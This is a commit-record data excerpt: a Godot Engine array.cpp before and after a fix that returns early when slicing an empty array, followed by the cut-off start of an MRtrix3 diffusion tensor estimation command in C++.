all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"array.h\"\n\n#include \"core\/hashfuncs.h\"\n#include \"core\/object.h\"\n#include \"core\/variant.h\"\n#include \"core\/vector.h\"\n\nclass ArrayPrivate {\npublic:\n\tSafeRefCount refcount;\n\tVector<Variant> array;\n};\n\nvoid Array::_ref(const Array &p_from) const {\n\n\tArrayPrivate *_fp = p_from._p;\n\n\tERR_FAIL_COND(!_fp); \/\/ should NOT happen.\n\n\tif (_fp == _p)\n\t\treturn; \/\/ whatever it is, nothing to do here move along\n\n\tbool success = _fp->refcount.ref();\n\n\tERR_FAIL_COND(!success); \/\/ should really not happen either\n\n\t_unref();\n\n\t_p = p_from._p;\n}\n\nvoid Array::_unref() const {\n\n\tif (!_p)\n\t\treturn;\n\n\tif (_p->refcount.unref()) {\n\t\tmemdelete(_p);\n\t}\n\t_p = NULL;\n}\n\nVariant &Array::operator[](int p_idx) {\n\n\treturn _p->array.write[p_idx];\n}\n\nconst Variant &Array::operator[](int p_idx) const {\n\n\treturn _p->array[p_idx];\n}\n\nint Array::size() const {\n\n\treturn _p->array.size();\n}\nbool Array::empty() const {\n\n\treturn _p->array.empty();\n}\nvoid Array::clear() {\n\n\t_p->array.clear();\n}\n\nbool Array::operator==(const Array &p_array) const {\n\n\treturn _p == p_array._p;\n}\n\nuint32_t Array::hash() const {\n\n\tuint32_t h = hash_djb2_one_32(0);\n\n\tfor (int i = 0; i < _p->array.size(); i++) {\n\n\t\th = hash_djb2_one_32(_p->array[i].hash(), h);\n\t}\n\treturn h;\n}\nvoid Array::operator=(const Array &p_array) {\n\n\t_ref(p_array);\n}\nvoid Array::push_back(const Variant &p_value) {\n\n\t_p->array.push_back(p_value);\n}\n\nError Array::resize(int p_new_size) {\n\n\treturn _p->array.resize(p_new_size);\n}\n\nvoid Array::insert(int p_pos, const Variant &p_value) {\n\n\t_p->array.insert(p_pos, p_value);\n}\n\nvoid Array::erase(const Variant &p_value) {\n\n\t_p->array.erase(p_value);\n}\n\nVariant Array::front() const {\n\tERR_FAIL_COND_V_MSG(_p->array.size() == 0, Variant(), \"Can't take value from empty array.\");\n\treturn operator[](0);\n}\n\nVariant Array::back() const {\n\tERR_FAIL_COND_V_MSG(_p->array.size() == 0, Variant(), \"Can't take value from empty array.\");\n\treturn operator[](_p->array.size() - 1);\n}\n\nint Array::find(const Variant &p_value, int p_from) const {\n\n\treturn _p->array.find(p_value, p_from);\n}\n\nint Array::rfind(const Variant &p_value, int p_from) const {\n\n\tif (_p->array.size() == 0)\n\t\treturn -1;\n\n\tif (p_from < 0) {\n\t\t\/\/ Relative offset from the end\n\t\tp_from = _p->array.size() + p_from;\n\t}\n\tif (p_from < 0 || p_from >= _p->array.size()) {\n\t\t\/\/ Limit to array boundaries\n\t\tp_from = _p->array.size() - 1;\n\t}\n\n\tfor (int i = p_from; i >= 0; i--) {\n\n\t\tif (_p->array[i] == p_value) {\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\nint Array::find_last(const Variant &p_value) const {\n\n\treturn rfind(p_value);\n}\n\nint Array::count(const Variant &p_value) const {\n\n\tif (_p->array.size() == 0)\n\t\treturn 0;\n\n\tint amount = 0;\n\tfor (int i = 0; i < _p->array.size(); i++) {\n\n\t\tif (_p->array[i] == p_value) {\n\t\t\tamount++;\n\t\t}\n\t}\n\n\treturn amount;\n}\n\nbool Array::has(const Variant &p_value) const {\n\treturn _p->array.find(p_value, 0) != -1;\n}\n\nvoid Array::remove(int p_pos) {\n\n\t_p->array.remove(p_pos);\n}\n\nvoid Array::set(int p_idx, const Variant &p_value) {\n\n\toperator[](p_idx) = p_value;\n}\n\nconst Variant &Array::get(int p_idx) const {\n\n\treturn operator[](p_idx);\n}\n\nArray Array::duplicate(bool p_deep) const {\n\n\tArray new_arr;\n\tint element_count = size();\n\tnew_arr.resize(element_count);\n\tfor (int i = 0; i < element_count; i++) {\n\t\tnew_arr[i] = p_deep ? get(i).duplicate(p_deep) : get(i);\n\t}\n\n\treturn new_arr;\n}\n\nint Array::_fix_slice_index(int p_index, int p_arr_len, int p_top_mod) {\n\tp_index = CLAMP(p_index, -p_arr_len, p_arr_len + p_top_mod);\n\tif (p_index < 0) {\n\t\tp_index = (p_index % p_arr_len + p_arr_len) % p_arr_len; \/\/ positive modulo\n\t}\n\treturn p_index;\n}\n\nint Array::_clamp_index(int p_index) const {\n\treturn CLAMP(p_index, -size() + 1, size() - 1);\n}\n\n#define ARRAY_GET_DEEP(idx, is_deep) is_deep ? get(idx).duplicate(is_deep) : get(idx)\n\nArray Array::slice(int p_begin, int p_end, int p_step, bool p_deep) const { \/\/ like python, but inclusive on upper bound\n\tArray new_arr;\n\n\tp_begin = Array::_fix_slice_index(p_begin, size(), -1); \/\/ can't start out of range\n\tp_end = Array::_fix_slice_index(p_end, size(), 0);\n\n\tint x = p_begin;\n\tint new_arr_i = 0;\n\n\tERR_FAIL_COND_V(p_step == 0, new_arr);\n\tif (Array::_clamp_index(p_begin) == Array::_clamp_index(p_end)) { \/\/ don't include element twice\n\t\tnew_arr.resize(1);\n\t\t\/\/ new_arr[0] = 1;\n\t\tnew_arr[0] = ARRAY_GET_DEEP(Array::_clamp_index(p_begin), p_deep);\n\t\treturn new_arr;\n\t} else {\n\t\tint element_count = ceil((int)MAX(0, (p_end - p_begin) \/ p_step)) + 1;\n\t\tif (element_count == 1) { \/\/ delta going in wrong direction to reach end\n\t\t\tnew_arr.resize(0);\n\t\t\treturn new_arr;\n\t\t}\n\t\tnew_arr.resize(element_count);\n\t}\n\n\t\/\/ if going backwards, have to have a different terminating condition\n\tif (p_step < 0) {\n\t\twhile (x >= p_end) {\n\t\t\tnew_arr[new_arr_i] = ARRAY_GET_DEEP(Array::_clamp_index(x), p_deep);\n\t\t\tx += p_step;\n\t\t\tnew_arr_i += 1;\n\t\t}\n\t} else if (p_step > 0) {\n\t\twhile (x <= p_end) {\n\t\t\tnew_arr[new_arr_i] = ARRAY_GET_DEEP(Array::_clamp_index(x), p_deep);\n\t\t\tx += p_step;\n\t\t\tnew_arr_i += 1;\n\t\t}\n\t}\n\n\treturn new_arr;\n}\n\nstruct _ArrayVariantSort {\n\n\t_FORCE_INLINE_ bool operator()(const Variant &p_l, const Variant &p_r) const {\n\t\tbool valid = false;\n\t\tVariant res;\n\t\tVariant::evaluate(Variant::OP_LESS, p_l, p_r, res, valid);\n\t\tif (!valid)\n\t\t\tres = false;\n\t\treturn res;\n\t}\n};\n\nArray &Array::sort() {\n\n\t_p->array.sort_custom<_ArrayVariantSort>();\n\treturn *this;\n}\n\nstruct _ArrayVariantSortCustom {\n\n\tObject *obj;\n\tStringName func;\n\n\t_FORCE_INLINE_ bool operator()(const Variant &p_l, const Variant &p_r) const {\n\n\t\tconst Variant *args[2] = { &p_l, &p_r };\n\t\tVariant::CallError err;\n\t\tbool res = obj->call(func, args, 2, err);\n\t\tif (err.error != Variant::CallError::CALL_OK)\n\t\t\tres = false;\n\t\treturn res;\n\t}\n};\nArray &Array::sort_custom(Object *p_obj, const StringName &p_function) {\n\n\tERR_FAIL_NULL_V(p_obj, *this);\n\n\tSortArray<Variant, _ArrayVariantSortCustom, true> avs;\n\tavs.compare.obj = p_obj;\n\tavs.compare.func = p_function;\n\tavs.sort(_p->array.ptrw(), _p->array.size());\n\treturn *this;\n}\n\nvoid Array::shuffle() {\n\n\tconst int n = _p->array.size();\n\tif (n < 2)\n\t\treturn;\n\tVariant *data = _p->array.ptrw();\n\tfor (int i = n - 1; i >= 1; i--) {\n\t\tconst int j = Math::rand() % (i + 1);\n\t\tconst Variant tmp = data[j];\n\t\tdata[j] = data[i];\n\t\tdata[i] = tmp;\n\t}\n}\n\ntemplate <typename Less>\n_FORCE_INLINE_ int bisect(const Vector<Variant> &p_array, const Variant &p_value, bool p_before, const Less &p_less) {\n\n\tint lo = 0;\n\tint hi = p_array.size();\n\tif (p_before) {\n\t\twhile (lo < hi) {\n\t\t\tconst int mid = (lo + hi) \/ 2;\n\t\t\tif (p_less(p_array.get(mid), p_value)) {\n\t\t\t\tlo = mid + 1;\n\t\t\t} else {\n\t\t\t\thi = mid;\n\t\t\t}\n\t\t}\n\t} else {\n\t\twhile (lo < hi) {\n\t\t\tconst int mid = (lo + hi) \/ 2;\n\t\t\tif (p_less(p_value, p_array.get(mid))) {\n\t\t\t\thi = mid;\n\t\t\t} else {\n\t\t\t\tlo = mid + 1;\n\t\t\t}\n\t\t}\n\t}\n\treturn lo;\n}\n\nint Array::bsearch(const Variant &p_value, bool p_before) {\n\n\treturn bisect(_p->array, p_value, p_before, _ArrayVariantSort());\n}\n\nint Array::bsearch_custom(const Variant &p_value, Object *p_obj, const StringName &p_function, bool p_before) {\n\n\tERR_FAIL_NULL_V(p_obj, 0);\n\n\t_ArrayVariantSortCustom less;\n\tless.obj = p_obj;\n\tless.func = p_function;\n\n\treturn bisect(_p->array, p_value, p_before, less);\n}\n\nArray &Array::invert() {\n\n\t_p->array.invert();\n\treturn *this;\n}\n\nvoid Array::push_front(const Variant &p_value) {\n\n\t_p->array.insert(0, p_value);\n}\n\nVariant Array::pop_back() {\n\n\tif (!_p->array.empty()) {\n\t\tint n = _p->array.size() - 1;\n\t\tVariant ret = _p->array.get(n);\n\t\t_p->array.resize(n);\n\t\treturn ret;\n\t}\n\treturn Variant();\n}\n\nVariant Array::pop_front() {\n\n\tif (!_p->array.empty()) {\n\t\tVariant ret = _p->array.get(0);\n\t\t_p->array.remove(0);\n\t\treturn ret;\n\t}\n\treturn Variant();\n}\n\nVariant Array::min() const {\n\n\tVariant minval;\n\tfor (int i = 0; i < size(); i++) {\n\t\tif (i == 0) {\n\t\t\tminval = get(i);\n\t\t} else {\n\t\t\tbool valid;\n\t\t\tVariant ret;\n\t\t\tVariant test = get(i);\n\t\t\tVariant::evaluate(Variant::OP_LESS, test, minval, ret, valid);\n\t\t\tif (!valid) {\n\t\t\t\treturn Variant(); \/\/not a valid comparison\n\t\t\t}\n\t\t\tif (bool(ret)) {\n\t\t\t\t\/\/is less\n\t\t\t\tminval = test;\n\t\t\t}\n\t\t}\n\t}\n\treturn minval;\n}\n\nVariant Array::max() const {\n\n\tVariant maxval;\n\tfor (int i = 0; i < size(); i++) {\n\t\tif (i == 0) {\n\t\t\tmaxval = get(i);\n\t\t} else {\n\t\t\tbool valid;\n\t\t\tVariant ret;\n\t\t\tVariant test = get(i);\n\t\t\tVariant::evaluate(Variant::OP_GREATER, test, maxval, ret, valid);\n\t\t\tif (!valid) {\n\t\t\t\treturn Variant(); \/\/not a valid comparison\n\t\t\t}\n\t\t\tif (bool(ret)) {\n\t\t\t\t\/\/is less\n\t\t\t\tmaxval = test;\n\t\t\t}\n\t\t}\n\t}\n\treturn maxval;\n}\n\nconst void *Array::id() const {\n\treturn _p->array.ptr();\n}\n\nArray::Array(const Array &p_from) {\n\n\t_p = NULL;\n\t_ref(p_from);\n}\n\nArray::Array() {\n\n\t_p = memnew(ArrayPrivate);\n\t_p->refcount.init();\n}\nArray::~Array() {\n\n\t_unref();\n}\n<commit_msg>Don't try to slice empty arrays<commit_after>\/*************************************************************************\/\n\/*  array.cpp                                                            *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"array.h\"\n\n#include \"core\/hashfuncs.h\"\n#include \"core\/object.h\"\n#include \"core\/variant.h\"\n#include \"core\/vector.h\"\n\nclass ArrayPrivate {\npublic:\n\tSafeRefCount refcount;\n\tVector<Variant> array;\n};\n\nvoid Array::_ref(const Array &p_from) const {\n\n\tArrayPrivate *_fp = p_from._p;\n\n\tERR_FAIL_COND(!_fp); \/\/ should NOT happen.\n\n\tif (_fp == _p)\n\t\treturn; \/\/ whatever it is, nothing to do here move along\n\n\tbool success = _fp->refcount.ref();\n\n\tERR_FAIL_COND(!success); \/\/ should really not happen either\n\n\t_unref();\n\n\t_p = p_from._p;\n}\n\nvoid Array::_unref() const {\n\n\tif (!_p)\n\t\treturn;\n\n\tif (_p->refcount.unref()) {\n\t\tmemdelete(_p);\n\t}\n\t_p = NULL;\n}\n\nVariant &Array::operator[](int p_idx) {\n\n\treturn _p->array.write[p_idx];\n}\n\nconst Variant &Array::operator[](int p_idx) const {\n\n\treturn _p->array[p_idx];\n}\n\nint Array::size() const {\n\n\treturn _p->array.size();\n}\nbool Array::empty() const {\n\n\treturn _p->array.empty();\n}\nvoid Array::clear() {\n\n\t_p->array.clear();\n}\n\nbool Array::operator==(const Array &p_array) const {\n\n\treturn _p == p_array._p;\n}\n\nuint32_t Array::hash() const {\n\n\tuint32_t h = hash_djb2_one_32(0);\n\n\tfor (int i = 0; i < _p->array.size(); i++) {\n\n\t\th = hash_djb2_one_32(_p->array[i].hash(), h);\n\t}\n\treturn h;\n}\nvoid Array::operator=(const Array &p_array) {\n\n\t_ref(p_array);\n}\nvoid Array::push_back(const Variant &p_value) {\n\n\t_p->array.push_back(p_value);\n}\n\nError Array::resize(int p_new_size) {\n\n\treturn _p->array.resize(p_new_size);\n}\n\nvoid Array::insert(int p_pos, const Variant &p_value) {\n\n\t_p->array.insert(p_pos, p_value);\n}\n\nvoid Array::erase(const Variant &p_value) {\n\n\t_p->array.erase(p_value);\n}\n\nVariant Array::front() const {\n\tERR_FAIL_COND_V_MSG(_p->array.size() == 0, Variant(), \"Can't take value from empty array.\");\n\treturn operator[](0);\n}\n\nVariant Array::back() const {\n\tERR_FAIL_COND_V_MSG(_p->array.size() == 0, Variant(), \"Can't take value from empty array.\");\n\treturn operator[](_p->array.size() - 1);\n}\n\nint Array::find(const Variant &p_value, int p_from) const {\n\n\treturn _p->array.find(p_value, p_from);\n}\n\nint Array::rfind(const Variant &p_value, int p_from) const {\n\n\tif (_p->array.size() == 0)\n\t\treturn -1;\n\n\tif (p_from < 0) {\n\t\t\/\/ Relative offset from the end\n\t\tp_from = _p->array.size() + p_from;\n\t}\n\tif (p_from < 0 || p_from >= _p->array.size()) {\n\t\t\/\/ Limit to array boundaries\n\t\tp_from = _p->array.size() - 1;\n\t}\n\n\tfor (int i = p_from; i >= 0; i--) {\n\n\t\tif (_p->array[i] == p_value) {\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n}\n\nint Array::find_last(const Variant &p_value) const {\n\n\treturn rfind(p_value);\n}\n\nint Array::count(const Variant &p_value) const {\n\n\tif (_p->array.size() == 0)\n\t\treturn 0;\n\n\tint amount = 0;\n\tfor (int i = 0; i < _p->array.size(); i++) {\n\n\t\tif (_p->array[i] == p_value) {\n\t\t\tamount++;\n\t\t}\n\t}\n\n\treturn amount;\n}\n\nbool Array::has(const Variant &p_value) const {\n\treturn _p->array.find(p_value, 0) != -1;\n}\n\nvoid Array::remove(int p_pos) {\n\n\t_p->array.remove(p_pos);\n}\n\nvoid Array::set(int p_idx, const Variant &p_value) {\n\n\toperator[](p_idx) = p_value;\n}\n\nconst Variant &Array::get(int p_idx) const {\n\n\treturn operator[](p_idx);\n}\n\nArray Array::duplicate(bool p_deep) const {\n\n\tArray new_arr;\n\tint element_count = size();\n\tnew_arr.resize(element_count);\n\tfor (int i = 0; i < element_count; i++) {\n\t\tnew_arr[i] = p_deep ? get(i).duplicate(p_deep) : get(i);\n\t}\n\n\treturn new_arr;\n}\n\nint Array::_fix_slice_index(int p_index, int p_arr_len, int p_top_mod) {\n\tp_index = CLAMP(p_index, -p_arr_len, p_arr_len + p_top_mod);\n\tif (p_index < 0) {\n\t\tp_index = (p_index % p_arr_len + p_arr_len) % p_arr_len; \/\/ positive modulo\n\t}\n\treturn p_index;\n}\n\nint Array::_clamp_index(int p_index) const {\n\treturn CLAMP(p_index, -size() + 1, size() - 1);\n}\n\n#define ARRAY_GET_DEEP(idx, is_deep) is_deep ? get(idx).duplicate(is_deep) : get(idx)\n\nArray Array::slice(int p_begin, int p_end, int p_step, bool p_deep) const { \/\/ like python, but inclusive on upper bound\n\tArray new_arr;\n\n\tif (empty()) \/\/ Don't try to slice empty arrays.\n\t\treturn new_arr;\n\n\tp_begin = Array::_fix_slice_index(p_begin, size(), -1); \/\/ can't start out of range\n\tp_end = Array::_fix_slice_index(p_end, size(), 0);\n\n\tint x = p_begin;\n\tint new_arr_i = 0;\n\n\tERR_FAIL_COND_V(p_step == 0, new_arr);\n\tif (Array::_clamp_index(p_begin) == Array::_clamp_index(p_end)) { \/\/ don't include element twice\n\t\tnew_arr.resize(1);\n\t\t\/\/ new_arr[0] = 1;\n\t\tnew_arr[0] = ARRAY_GET_DEEP(Array::_clamp_index(p_begin), p_deep);\n\t\treturn new_arr;\n\t} else {\n\t\tint element_count = ceil((int)MAX(0, (p_end - p_begin) \/ p_step)) + 1;\n\t\tif (element_count == 1) { \/\/ delta going in wrong direction to reach end\n\t\t\tnew_arr.resize(0);\n\t\t\treturn new_arr;\n\t\t}\n\t\tnew_arr.resize(element_count);\n\t}\n\n\t\/\/ if going backwards, have to have a different terminating condition\n\tif (p_step < 0) {\n\t\twhile (x >= p_end) {\n\t\t\tnew_arr[new_arr_i] = ARRAY_GET_DEEP(Array::_clamp_index(x), p_deep);\n\t\t\tx += p_step;\n\t\t\tnew_arr_i += 1;\n\t\t}\n\t} else if (p_step > 0) {\n\t\twhile (x <= p_end) {\n\t\t\tnew_arr[new_arr_i] = ARRAY_GET_DEEP(Array::_clamp_index(x), p_deep);\n\t\t\tx += p_step;\n\t\t\tnew_arr_i += 1;\n\t\t}\n\t}\n\n\treturn new_arr;\n}\n\nstruct _ArrayVariantSort {\n\n\t_FORCE_INLINE_ bool operator()(const Variant &p_l, const Variant &p_r) const {\n\t\tbool valid = false;\n\t\tVariant res;\n\t\tVariant::evaluate(Variant::OP_LESS, p_l, p_r, res, valid);\n\t\tif (!valid)\n\t\t\tres = false;\n\t\treturn res;\n\t}\n};\n\nArray &Array::sort() {\n\n\t_p->array.sort_custom<_ArrayVariantSort>();\n\treturn *this;\n}\n\nstruct _ArrayVariantSortCustom {\n\n\tObject *obj;\n\tStringName func;\n\n\t_FORCE_INLINE_ bool operator()(const Variant &p_l, const Variant &p_r) const {\n\n\t\tconst Variant *args[2] = { &p_l, &p_r };\n\t\tVariant::CallError err;\n\t\tbool res = obj->call(func, args, 2, err);\n\t\tif (err.error != Variant::CallError::CALL_OK)\n\t\t\tres = false;\n\t\treturn res;\n\t}\n};\nArray &Array::sort_custom(Object *p_obj, const StringName &p_function) {\n\n\tERR_FAIL_NULL_V(p_obj, *this);\n\n\tSortArray<Variant, _ArrayVariantSortCustom, true> avs;\n\tavs.compare.obj = p_obj;\n\tavs.compare.func = p_function;\n\tavs.sort(_p->array.ptrw(), _p->array.size());\n\treturn *this;\n}\n\nvoid Array::shuffle() {\n\n\tconst int n = _p->array.size();\n\tif (n < 2)\n\t\treturn;\n\tVariant *data = _p->array.ptrw();\n\tfor (int i = n - 1; i >= 1; i--) {\n\t\tconst int j = Math::rand() % (i + 1);\n\t\tconst Variant tmp = data[j];\n\t\tdata[j] = data[i];\n\t\tdata[i] = tmp;\n\t}\n}\n\ntemplate <typename Less>\n_FORCE_INLINE_ int bisect(const Vector<Variant> &p_array, const Variant &p_value, bool p_before, const Less &p_less) {\n\n\tint lo = 0;\n\tint hi = p_array.size();\n\tif (p_before) {\n\t\twhile (lo < hi) {\n\t\t\tconst int mid = (lo + hi) \/ 2;\n\t\t\tif (p_less(p_array.get(mid), p_value)) {\n\t\t\t\tlo = mid + 1;\n\t\t\t} else {\n\t\t\t\thi = mid;\n\t\t\t}\n\t\t}\n\t} else {\n\t\twhile (lo < hi) {\n\t\t\tconst int mid = (lo + hi) \/ 2;\n\t\t\tif (p_less(p_value, p_array.get(mid))) {\n\t\t\t\thi = mid;\n\t\t\t} else {\n\t\t\t\tlo = mid + 1;\n\t\t\t}\n\t\t}\n\t}\n\treturn lo;\n}\n\nint Array::bsearch(const Variant &p_value, bool p_before) {\n\n\treturn bisect(_p->array, p_value, p_before, _ArrayVariantSort());\n}\n\nint Array::bsearch_custom(const Variant &p_value, Object *p_obj, const StringName &p_function, bool p_before) {\n\n\tERR_FAIL_NULL_V(p_obj, 0);\n\n\t_ArrayVariantSortCustom less;\n\tless.obj = p_obj;\n\tless.func = p_function;\n\n\treturn bisect(_p->array, p_value, p_before, less);\n}\n\nArray &Array::invert() {\n\n\t_p->array.invert();\n\treturn *this;\n}\n\nvoid Array::push_front(const Variant &p_value) {\n\n\t_p->array.insert(0, p_value);\n}\n\nVariant Array::pop_back() {\n\n\tif (!_p->array.empty()) {\n\t\tint n = _p->array.size() - 1;\n\t\tVariant ret = _p->array.get(n);\n\t\t_p->array.resize(n);\n\t\treturn ret;\n\t}\n\treturn Variant();\n}\n\nVariant Array::pop_front() {\n\n\tif (!_p->array.empty()) {\n\t\tVariant ret = _p->array.get(0);\n\t\t_p->array.remove(0);\n\t\treturn ret;\n\t}\n\treturn Variant();\n}\n\nVariant Array::min() const {\n\n\tVariant minval;\n\tfor (int i = 0; i < size(); i++) {\n\t\tif (i == 0) {\n\t\t\tminval = get(i);\n\t\t} else {\n\t\t\tbool valid;\n\t\t\tVariant ret;\n\t\t\tVariant test = get(i);\n\t\t\tVariant::evaluate(Variant::OP_LESS, test, minval, ret, valid);\n\t\t\tif (!valid) {\n\t\t\t\treturn Variant(); \/\/not a valid comparison\n\t\t\t}\n\t\t\tif (bool(ret)) {\n\t\t\t\t\/\/is less\n\t\t\t\tminval = test;\n\t\t\t}\n\t\t}\n\t}\n\treturn minval;\n}\n\nVariant Array::max() const {\n\n\tVariant maxval;\n\tfor (int i = 0; i < size(); i++) {\n\t\tif (i == 0) {\n\t\t\tmaxval = get(i);\n\t\t} else {\n\t\t\tbool valid;\n\t\t\tVariant ret;\n\t\t\tVariant test = get(i);\n\t\t\tVariant::evaluate(Variant::OP_GREATER, test, maxval, ret, valid);\n\t\t\tif (!valid) {\n\t\t\t\treturn Variant(); \/\/not a valid comparison\n\t\t\t}\n\t\t\tif (bool(ret)) {\n\t\t\t\t\/\/is less\n\t\t\t\tmaxval = test;\n\t\t\t}\n\t\t}\n\t}\n\treturn maxval;\n}\n\nconst void *Array::id() const {\n\treturn _p->array.ptr();\n}\n\nArray::Array(const Array &p_from) {\n\n\t_p = NULL;\n\t_ref(p_from);\n}\n\nArray::Array() {\n\n\t_p = memnew(ArrayPrivate);\n\t_p->refcount.init();\n}\nArray::~Array() {\n\n\t_unref();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2008-2016 the MRtrix3 contributors\n * \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n * \n * MRtrix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * For more details, see www.mrtrix.org\n * \n *\/\n\n\n#include \"command.h\"\n#include \"progressbar.h\"\n#include \"image.h\"\n#include \"algo\/threaded_copy.h\"\n#include \"dwi\/gradient.h\"\n#include \"dwi\/tensor.h\"\n\nusing namespace MR;\nusing namespace App;\nusing namespace std;\n\ntypedef float value_type;\n\n#define DEFAULT_NITER 2\n\nvoid usage ()\n{\n\n  REFERENCES\n  +  \"Veraart, J.; Sijbers, J.; Sunaert, S.; Leemans, A. & Jeurissen, B. \" \/\/ Internal\n     \"Weighted linear least squares estimation of diffusion MRI parameters: strengths, limitations, and pitfalls. \"\n     \"NeuroImage, 2013, 81, 335-346\";\n\n  ARGUMENTS\n  + Argument (\"dwi\", \"the input dwi image.\").type_image_in ()\n  + Argument (\"dt\", \"the output dt image.\").type_image_out ();\n\n  OPTIONS \n  + Option (\"mask\", \"only perform computation within the specified binary brain mask image.\")\n  + Argument (\"image\").type_image_in()\n  + Option (\"b0\", \"the output b0 image.\")\n  + Argument (\"image\").type_image_out()\n  + Option (\"dkt\", \"the output dkt image.\")\n  + Argument (\"image\").type_image_out()\n  + Option (\"iter\",\"number of iterative reweightings (default: \" + str(DEFAULT_NITER) + \"); set to 0 for ordinary linear least squares.\")\n  + Argument (\"integer\").type_integer (0, 10)\n  + Option (\"predicted_signal\", \"the predicted dwi image.\")\n  + Argument (\"image\").type_image_out()\n  + DWI::GradImportOptions();\n  \n  AUTHOR = \"Ben Jeurissen (ben.jeurissen@uantwerpen.be)\";\n  \n  DESCRIPTION\n  + \"Diffusion (kurtosis) tensor estimation using iteratively reweighted linear least squares estimator.\";\n}\n\ntemplate <class MASKType, class B0Type, class DKTType, class PredictType>\nclass Processor\n{\n  public:\n    Processor (const Eigen::MatrixXd& b, const int iter, MASKType* mask_image, B0Type* b0_image, DKTType* dkt_image, PredictType* predict_image) :\n      mask_image (mask_image),\n      b0_image (b0_image),\n      dkt_image (dkt_image),\n      predict_image (predict_image),\n      dwi(b.rows()),\n      p(b.cols()),\n      w(b.rows()),\n      work(b.cols(),b.cols()),\n      llt(work.rows()),\n      b(b),\n      maxit(iter) { }\n\n    template <class DWIType, class DTType>\n      void operator() (DWIType& dwi_image, DTType& dt_image)\n      {\n        if (mask_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*mask_image);\n          if (!mask_image->value())\n            return;\n        }\n        \n        for (auto l = Loop (3) (dwi_image); l; ++l)\n          dwi[dwi_image.index(3)] = dwi_image.value();\n        \n        double small_intensity = 1.0e-6 * dwi.maxCoeff(); \n        for (int i = 0; i < dwi.rows(); i++) {\n          if (dwi[i] < small_intensity)\n            dwi[i] = small_intensity;\n          dwi[i] = std::log (dwi[i]);\n        }\n        \n        work.setZero();\n        work.selfadjointView<Eigen::Lower>().rankUpdate (b.transpose());\n        p = llt.compute (work.selfadjointView<Eigen::Lower>()).solve(b.transpose()*dwi);\n        for (int it = 0; it < maxit; it++) {\n          w = (b*p).array().exp();\n          work.setZero();\n          work.selfadjointView<Eigen::Lower>().rankUpdate (b.transpose()*w.asDiagonal());\n          p = llt.compute (work.selfadjointView<Eigen::Lower>()).solve(b.transpose()*w.asDiagonal()*dwi);\n        }\n             \n        if (b0_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*b0_image);\n          b0_image->value() = exp(p[6]);\n        }\n        \n        for (auto l = Loop(3)(dt_image); l; ++l) {\n          dt_image.value() = p[dt_image.index(3)];\n        }\n        \n        if (dkt_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*dkt_image);\n          double adc_sq = (p[0]+p[1]+p[2])*(p[0]+p[1]+p[2])\/9.0;\n          for (auto l = Loop(3)(*dkt_image); l; ++l) {\n            dkt_image->value() = p[dkt_image->index(3)+7]\/adc_sq;\n          }\n        }\n        \n        if (predict_image) {\n          assign_pos_of (dwi_image, 0, 3).to (*predict_image);\n          dwi = (b*p).array().exp();\n          for (auto l = Loop(3)(*predict_image); l; ++l) {\n            predict_image->value() = dwi[predict_image->index(3)];\n          }\n        }\n        \n      }\n\n  private:\n    copy_ptr<MASKType> mask_image;\n    copy_ptr<B0Type> b0_image;\n    copy_ptr<DKTType> dkt_image;\n    copy_ptr<PredictType> predict_image;\n    Eigen::VectorXd dwi;\n    Eigen::VectorXd p;\n    Eigen::VectorXd w;\n    Eigen::MatrixXd work;\n    Eigen::LLT<Eigen::MatrixXd> llt;\n    const Eigen::MatrixXd& b;\n    const int maxit;\n};\n\ntemplate 